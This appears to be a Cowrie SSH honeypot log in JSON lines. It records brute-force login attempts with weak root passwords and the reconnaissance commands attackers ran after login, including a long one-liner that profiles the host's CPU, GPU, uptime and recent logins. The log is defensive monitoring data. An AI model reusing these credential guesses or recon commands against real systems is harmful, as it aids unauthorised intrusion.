{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:05.261133Z","src_ip":"101.44.96.62","session":"27b9a4a3965f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"111111","message":"login attempt [root/111111] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:06.119333Z","src_ip":"101.44.96.62","session":"27b9a4a3965f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:06.607135Z","src_ip":"101.44.96.62","session":"27b9a4a3965f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:06.610794Z","src_ip":"101.44.96.62","session":"27b9a4a3965f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:06.833070Z","src_ip":"101.44.96.62","session":"27b9a4a3965f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:06.840609Z","src_ip":"101.44.96.62","session":"27b9a4a3965f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.240.199","src_port":38192,"dst_ip":"159.203.135.109","dst_port":22,"session":"70c2d7ea92c5","protocol":"ssh","message":"New connection: 91.92.240.199:38192 (159.203.135.109:22) [session: 70c2d7ea92c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:10.850951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:10.964281Z","src_ip":"91.92.240.199","session":"70c2d7ea92c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:11.218378Z","src_ip":"91.92.240.199","session":"70c2d7ea92c5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"123456789","message":"login attempt [root/123456789] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:13.926460Z","src_ip":"91.92.240.199","session":"70c2d7ea92c5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:15.121488Z","src_ip":"91.92.240.199","session":"70c2d7ea92c5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo \"LAST:$last_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo \"LAST:$last_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:15.126920Z","src_ip":"91.92.240.199","session":"70c2d7ea92c5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:15.134619Z","src_ip":"91.92.240.199","session":"70c2d7ea92c5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m 2 > /dev/null","message":"CMD: uname -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:15.139697Z","src_ip":"91.92.240.199","session":"70c2d7ea92c5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/uptime 2 > /dev/null | cut -d. -f1","message":"CMD: cat /proc/uptime 2 > /dev/null | cut -d. -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:15.145319Z","src_ip":"91.92.240.199","session":"70c2d7ea92c5","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -d. -f1","message":"Command not found: cut -d. -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:15.149656Z","src_ip":"91.92.240.199","session":"70c2d7ea92c5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","size":74,"shasum":"a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","duplicate":true,"duration":"0.9","message":"Closing TTY Log: var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853 after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:16.012071Z","src_ip":"91.92.240.199","session":"70c2d7ea92c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:16.019662Z","src_ip":"91.92.240.199","session":"70c2d7ea92c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":36692,"dst_ip":"159.203.135.109","dst_port":22,"session":"83eca73d9513","protocol":"ssh","message":"New connection: 101.44.96.62:36692 (159.203.135.109:22) [session: 83eca73d9513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:18.663070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:18.667690Z","src_ip":"101.44.96.62","session":"83eca73d9513","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:18.895874Z","src_ip":"101.44.96.62","session":"83eca73d9513","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"123456","message":"login attempt [wang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:19.549726Z","src_ip":"101.44.96.62","session":"83eca73d9513","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:20.770212Z","src_ip":"101.44.96.62","session":"83eca73d9513","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":51478,"dst_ip":"159.203.135.109","dst_port":22,"session":"d010ee6ec117","protocol":"ssh","message":"New connection: 101.44.96.62:51478 (159.203.135.109:22) [session: d010ee6ec117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:32.206281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:32.211284Z","src_ip":"101.44.96.62","session":"d010ee6ec117","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:32.429785Z","src_ip":"101.44.96.62","session":"d010ee6ec117","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:33.083120Z","src_ip":"101.44.96.62","session":"d010ee6ec117","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:34.304538Z","src_ip":"101.44.96.62","session":"d010ee6ec117","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":42870,"dst_ip":"159.203.135.109","dst_port":22,"session":"f25436e267bd","protocol":"ssh","message":"New connection: 195.178.110.218:42870 (159.203.135.109:22) [session: f25436e267bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:37.222007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:37.226439Z","src_ip":"195.178.110.218","session":"f25436e267bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:37.306113Z","src_ip":"195.178.110.218","session":"f25436e267bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:37.548532Z","src_ip":"195.178.110.218","session":"f25436e267bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:38.630715Z","src_ip":"195.178.110.218","session":"f25436e267bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":49488,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b27cc10f791","protocol":"ssh","message":"New connection: 101.44.96.62:49488 (159.203.135.109:22) [session: 4b27cc10f791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:45.760832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:45.765104Z","src_ip":"101.44.96.62","session":"4b27cc10f791","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:45.983034Z","src_ip":"101.44.96.62","session":"4b27cc10f791","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"A123456a","message":"login attempt [root/A123456a] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:46.650872Z","src_ip":"101.44.96.62","session":"4b27cc10f791","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:47.123357Z","src_ip":"101.44.96.62","session":"4b27cc10f791","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:47.126699Z","src_ip":"101.44.96.62","session":"4b27cc10f791","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:47.347530Z","src_ip":"101.44.96.62","session":"4b27cc10f791","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:47.352342Z","src_ip":"101.44.96.62","session":"4b27cc10f791","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":51520,"dst_ip":"159.203.135.109","dst_port":22,"session":"01e73723645d","protocol":"ssh","message":"New connection: 101.44.96.62:51520 (159.203.135.109:22) [session: 01e73723645d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:59.286435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:10:59.291074Z","src_ip":"101.44.96.62","session":"01e73723645d","protocol":"ssh"}
